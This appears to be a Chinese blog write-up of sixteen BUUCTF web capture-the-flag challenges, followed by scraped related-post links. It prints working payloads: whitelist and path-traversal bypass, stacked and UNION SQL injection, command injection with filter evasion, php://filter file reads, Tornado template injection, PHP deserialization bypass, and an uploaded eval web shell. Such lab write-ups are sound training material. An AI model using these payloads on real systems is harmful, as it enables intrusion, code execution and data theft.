BUUCTF-WEB(1-16)
BUUCTF-WEB(1-16)
1.[HCTF 2018]WarmUp
根据点开靶机时的一个提示:代码审计,可知主要考察代码审计,在点开靶机之后,出现了一个滑稽表情,右键检查网页源码,发现在图片的上方有个注释 ,<!--source.php-->
感觉像是个有用的信息,于是在网页的链接后边加上/source.php
页面上出现了代码
<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) { //is_string() 函数用于检测变量是否是字符串echo "you can't see it";return false;}if (in_array($page, $whitelist)) { //in_array() 函数搜索数组中是否存在指定的值return true;}$_page = mb_substr( //mb_substr() 函数返回字符串的一部分$page,0,mb_strpos($page . '?', '?') //mb_strpos — 查找字符串在另一个字符串中首次出现的位置);if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}
?>
之后看到第7行和第40代码,尝试在网页链接后加上?file=hint.php
于是在界面最下方的图片变为了这一句话
这个提示信息,让我大胆假设一下他说的是对的,flag在ffffllllaaaagggg
这个文件里,然后仔细观察第40行的函数,感觉应该和这个include
关系密切,估计就是要通过这个来进入ffffllllaaaagggg
文件,所以最关键的一步是通过第42行,来达到获取到ffffllllaaaagggg
这个文件名,所以接下来就是要如何通过checkFile
函数,所以如何绕过第一个截取函数
$_page = mb_substr( //mb_substr() 函数返回字符串的一部分$page,0,mb_strpos($page . '?', '?') //mb_strpos — 查找字符串在另一个字符串中首次出现的位置);if (in_array($_page, $whitelist)) {return true;}
现在假设payload为:file=source.php?/../ffffllllaaaagggg
,经过mb_strpos
为source.php?/../ffffllllaaaagggg?
,mb_strpos
这个函数只返回首次出现的位置,所以会返回第一个?
的位置,而mb_substr
截取函数,从0开始截取一直到第一个?
的位置,截取内容为source.php
,恰好能与白名单中的进行匹配,可以return true;
,所以通过第一次截取进行绕过
然后通过hackbar执行payload:/source.php?file=source.php?/../ffffllllaaaagggg
,发现没有显示flag,应该是不在这个目录,然后就不断加../
最后得到flag,payload为:/source.php?file=source.php?/../../../../ffffllllaaaagggg
2.[强网杯 2019]随便注
点击靶机之后出现了一个网页。
检查网页源码后发现有一个注释<!-- sqlmap是没有灵魂的 -->
说实话我挺想用sqlmap的但是毕竟是练题学知识,就自己动手试试
突破口应该在输入框,先点击一下提交看看
点击这个提交之后出现了一段代码
array(2) {[0]=>string(1) "1"[1]=>string(7) "hahahah"
}
然后运用SQL注入的知识开始注入一下,没有可用信息,就随便输入个select *
试一试,然后出现了一个提示return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
preg_match() 函数主要是用来进行过滤,i是指大小写不敏感,也就是大小写都会被过滤,然后测试SQL字符串的闭合,首先输入单引号'
发现出现了报错信息,error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
,存在单引号闭合问题,再测试''
双引号,没有报错,那就是只存在了单引号闭合问题,但是由于select
被过滤,只能用其他的语句试一下:1';show databases;#
结果如下:
查完了数据库,那就再查一下表1';show tables;#
,结果如下
再查一下列:1';show columns from
words;#
,1';show columns from
1919810931114514;#
,结果如下
得到flag,但是到这里就会出现问题,虽然我们已经得到了flag了,但是select
被过滤了,而show
命令又不能查看值。这就比较头疼了,不过如果仔细观察的话,一开始过滤的并没有alert 和 rename,我们已经知道了words
是用来回显内容的,能不能我们把1919810931114514
这个表更改名字为words
,并增加相应的字段,使之回显原1919810931114514
这个表的内容那,当然是可以的。
这道题我是百度了一下教程写的
payload:1';RENAME TABLE
wordsTO
words1;RENAME TABLE
1919810931114514TO
words;ALTER TABLE
wordsCHANGE
flagidVARCHAR(100) ;show columns from words;#
用1' or '1'='1
访问一下,便可以发现flag
3.[极客大挑战 2019]EasySQL
打开靶机之后,右键检查源码,没有任何其他的东西突破口应该是输入框
加之题目带有SQL,于是测试有无SQL语句闭合问题,输入1'
报错,You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' at line 1
有闭合错误,所以尝试一下注入,万能密码输入'or 1=1#
获得flag。
4.[极客大挑战 2019]Havefun
打开之后检查源码,看到这个
<!--$cat=$_GET['cat'];echo $cat;if($cat=='dog'){echo 'Syc{cat_cat_cat_cat}';}-->
然后在输入框中添加`?cat=dog,获得flag。
5.[SUCTF 2019]EasySQL
打开网页检查源码,什么也没有,只能从输入框下手
感觉和第一道题类似,于是尝试了一下,第一题的层叠注入,但是这道题不存在闭合问题,所以直接输入1;show databases;
显示Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )
再尝试输入1;show tables;
显示Array ( [0] => 1 ) Array ( [0] => Flag )
看到了flag,但是到查列的时候就不行了,输入show columns from flag;
显示Nonono.
所以只好百度了。
百度到两种payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
和*,1
(这个是没有过滤*)
原理是:select $_GET['query'] || flag from flag
6.[ACTF2020 新生赛]Include
打开之后什么也没有,就一个链接,点击之后也是什么线索也没有,然后想到了题目名字,应该是文件包含,然后百度了一下这道题发现了一个思路,使用 “php://filter"伪协议” 来进行包含,然后构造payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
当它与包含函数结合时,php://filter
流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
这里需要注意的是使用php://filter
伪协议进行文件包含时,需要加上read=convert.base64-encode来对文件内容进行编码
发送请求得到base64编码后的flag.php文件源码:PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZjNlZmMyZDUtMGQ3ZC00NjMxLWIwODQtZTBhZjMyZDRkYTA1fQo=
解码后获得flag。
7.[极客大挑战 2019]Secret File
查看源码后发现有个链接<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
点击后跳转到了一个界面
点击之后显示
什么也没有,那就只好用bp抓包看看了
访问secr3t.php
看了一下代码这个需要用文件包含,同上一道题使用伪协议
payload为:secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
获得base64编码,解码取得flag
8.[极客大挑战 2019]LoveSQL
和第三题类似,直接用万能密码:1' or 1=1#
进入,这个感觉像是一个编码,但是不是,后来发现是考察SQL注入
然后在hackbar中输入check.php?username=admin' order by 3 %23&password=1
(注意把#换成%23)这个存在,但是测试到4的时候就报错了。
所以共3个字段。用union
查询测试注入点(回显点位):
/check.php?username=1' union select 1,2,3%23&password=1
得到回显点位为2和3,接下来查数据库名及版本:
/check.php?username=1' union select 1,database(),version()%23&password=1
查表:
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
查出两个表,试一下l0ve1ysq1这个表,查字段:
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
查数据:
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
获得flag。
9.[GXYCTF2019]Ping Ping Ping
这道题没思路,百度了一下,才发现是在url里写
为:?ip=127.0.0.1;ls;
cat访问flag.php
,发现空格被过滤
用%20代替也被过滤,用$IFS$9
代替空格,过滤flag
直接不加空格过滤了flag
设置变量绕过字符串过滤
在注释里发现flag
最终为:?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php;
10.[ACTF2020 新生赛]Exec
ping一下127.0.0.1,可以然后执行127.0.0.1;cat /flag;
获得flag
11.[护网杯 2018]easy_tornado
点击第一个链接得到flag in /fllllllllllllag
第二个链接是:render
第三个是:md5(cookie_secret+md5(filename))
直接进入/fllllllllllllag
显示404: Not Found
百度了一下,得知这道题主要是python的一个web框架:Tornado
,通过模板注入的方法
参考别人的WP
测试后发现还有一个error界面,格式为/error?msg=Error
,怀疑存在服务端模板注入攻击 (SSTI)
尝试/error?msg={{datetime}}
在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,可以参考Tornado官方文档
通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名
RequestHandler.settings
An alias for self.application.settings.
handler指向的处理当前这个页面的RequestHandler对象,
RequestHandler.settings指向self.application.settings,
因此handler.settings指向RequestHandler.application.settings。
构造payload获取cookie_secret
/error?msg={{handler.settings}}
'cookie_secret': 'cb123ca1-7de8-46bb-b90f-4dfd86aaa00c'
计算filehash值
import hashlibdef md5(s):md5 = hashlib.md5() md5.update(s) return md5.hexdigest()def filehash():filename = '/fllllllllllllag'cookie_secret = 'cb123ca1-7de8-46bb-b90f-4dfd86aaa00c'print(md5(cookie_secret+md5(filename)))if __name__ == '__main__':filehash()
payload:
file?filename=/fllllllllllllag&filehash=ab3362dfd60feabc355fa9f0844617c8
得到flag:flag{61f768ed-34d5-4db4-8283-8188f5b0e9ca}
12.[极客大挑战 2019]Knife
直接用蚁剑连接,根目录取得flag。
13.[RoarCTF 2019]Easy Calc
检查后发现
<!--I've set up WAF to ensure security.-->
<script>$('#calc').submit(function(){$.ajax({url:"calc.php?num="+encodeURIComponent($("#content").val()),type:'GET',success:function(data){$("#result").html(`<div class="alert alert-success"><strong>答案:</strong>${data}</div>`);},error:function(){alert("这啥?算不来!");}})return false;})
</script>
注意第5行,后来百度了一下用的是:PHP的字符串解析特性
进入calc.php
出现了源代码
<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>
可以看见过滤了一些特殊字符,然后eval
执行我们的命令。
尝试输入字符:calc.php?num=a
输入时发现num
只能输入数字,输入字符无法解析。只能传入数字和运算符号,不能传入字符(想办法绕过waf)
这里可以利用php的字符串解析特性绕过bypass:利用PHP的字符串解析特性Bypass
所以我们可以在num
前加个空格绕过waf
用scandir("/")
获取目录,但是/
被过滤,所以用chr(47)绕过
所以payload为:? num=1;var_dump(scandir(chr(47)))
找到flagg
获取flagg的payload为:calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
得到flag:
也可以用http走私
:https://www.cnblogs.com/chrysanthemum/p/11757363.html
14.[极客大挑战 2019]Http
在带开一个界面之后没有发现任何有用的信息,于是在一一检查源码后发现
这里有一个跳转的链接,点击后出现
用bp拦截http://node3.buuoj.cn:25671/Secret.php
,然后用BP修改header添加一行:
Referer:https://www.Sycsecret.com
返回的结果显示
然后在header继续添加
User-Agent: "Syclover"
获得No!!! you can only read this locally!!!
提示
然后伪造IP,在header里添加
X-Forwarded-For:127.0.0.1
得到flag
15.[极客大挑战 2019]PHP
百度了一下,备份网站目录下有一个www.zip
文件
直接在路径名里输入就能下载,解压后有个index.php
文件,打开后发现
然后再观察class.php
发现
<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>
分析代码可知在执行destruct方法的时候,如果用户名为admin,密码为100则可以输出flag的值。
但是wakeup方法会导致username成为guest,因此需要通过序列化字符串中对象的个数来绕过该方法。
所以payload为
import requestsurl ="http://7fbf6bbc-b50f-4ff7-93b3-8cef4b984c26.node3.buuoj.cn/"
html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(html.text)
或者是
index.php?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
参考文章:https://blog.csdn.net/weixin_44077544/article/details/103542260
16.[极客大挑战 2019]Upload
这道题一看就是文件上传
所以新建一个文件后缀为:.phtml
,写入一句话木马
GIF89a
<script language="php">eval($_POST['shell']);</script>
上传,bp拦截一下,将Content-Type改为image/jpeg
然后蚁剑链接
/upload/1.phtml
打开终端
cat /flag
得到flag。
BUUCTF-WEB(1-16)相关推荐
- BUUCTF web(三)
[HCTF 2018]admin 随便注册了一个账号,登陆进去在change password界面源码找到了 Flask是一个使用 Python 编写的轻量级 Web 应用框架.其 WSGI 工具箱采 ...
- 题解记录-BUUCTF|Web (持续更新中)
BUUCTF-Web(持续更新) [极客大挑战 2019]EasySQL [HCTF 2018]WarmUp [极客大挑战 2019]Havefun [ACTF2020 新生赛]Include [AC ...
- Spring Web(第一部分)
1. Spring Web MVC Spring Web MVC是在Servlet API上构建的原始Web框架,从一开始就包含在Spring框架中.其正式名称"Spring Web MVC ...
- 攻防世界writeup——Web(持续更新)
文章目录 ics-06(XCTF 4th-CyberEarth) NewsCenter( XCTF 4th-QCTF-2018) lottery(XCTF 4th-QCTF-2018) NaNNaNN ...
- 《评人工智能如何走向新阶段》后记(再续16)
由AI科技大本营下载自视觉中国 181.5种常见的机器学习方法. (1)线性回归linear regression: 一种流行的回归算法,从样本特征的线性组合,linear combination中学 ...
- 初一模拟赛总结(3.16)
成绩: rankrankrank namenamename scorescorescore T1T1T1 T2T2T2 T3T3T3 T4T4T4 111 lyflyflyf 210210210 30 ...
- 大数据早报:合肥公证机构启用人脸识别系统;阿里AI时尚助手进驻全国13家门店 (11.16)
数据早知道,上乐投网看早报! 『融资』众盟数据完成3亿元B轮系列融资,以线下数据资产化赋能新零售 近日,国内最大的线下数据服务平台ZMT众盟(简称众盟数据)宣布完成1.8亿元B+轮融资,本轮融资由云锋 ...
- BUUCTF——web([GXYCTF2019]Ping Ping Ping、[极客大挑战 2019]Knife、[极客大挑战 2019]Http)
BUUCTF-web [GXYCTF2019]Ping Ping Ping 做题思路 [极客大挑战 2019]Knife 做题思路 [极客大挑战 2019]Http 做题思路 [GXYCTF2019] ...
- 【CTF】buuctf web (四)——通过配置文件构造PHP后门
知识点 php.ini php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM.PHP_INI_PERDIR.PHP_INI_ALL.P ...
- 【CTF】buuctf web(三)——PHP序列化与反序列化
知识点 后台目录扫描工具:dirsearch 魔术方法wakeup()绕过:当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124) 常见的备份文件后缀名:.git .svn ...
最新文章
- PHP自动加载类—__autoload()和spl_autoload_register()
- 如何在vim保存时获得sudo权限
- 54.什么是页面?什么是块或物理块?
- 一级计算机综合训练第五卷,2018职称计算机考试基础综合练习及答案(5)
- VC,一条会被鼠标移动的直线
- 东明县计算机学校,东明县职业中等专业学校2021年招生信息
- c语言创建一个hello.txt文件,并检查是否成功,广东工业大学C语言验(上机)任务书2015版.doc...
- 农业智慧物联卡火爆发展中存在的问题
- esp8266使用BME280实时上传温湿度气压
- 接触webGl(three.js)之全景(VR)看房的实现旅程总结
- 灰狼优化算法训练多层感知神经网络研究(Matlab代码实现)
- 太可怕啦!AI 一秒还原马赛克,有码变高清
- 每周一品 · 磁选机中的磁性材料
- Unsupervised Feature Learning via Non-Parametric Instance Discrimination
- 开源商城系统php哪个好,开源电商系统选择哪个好?
- 真值 原码 反码 补码
- FtpServer的安装配置方法
- Visio 安装激活方法
- 自动驾驶轨迹预测任务浅述
- 10个常见的前端手写功能,你全都会吗?
热门文章
- 如何登陆FTP服务器下载文件
- C#操作Memcached缓存
- 一文读懂 NMEA-0183 协议数据
- android 微信表情雨,2017新年微信表情雨大召唤术-微信彩蛋表情雨2017预约 _5577安卓网...
- 19秋计算机应用基础在线作业2,计算机应用基础19秋在线作业2 Windows 下能浏览并管理文件 驱动器及网络连接的强大工具是...
- 计算机系统记忆部件是,什么是计算机系统的记忆部件
- 深入解读云场景下的网络抖动
- Auto.js加密解密|快照Snapshot解密|Dex转js|Auto.js庖丁下载|解除APP限制
- App如何在background状态下存活
- FMM和BMM的python代码实现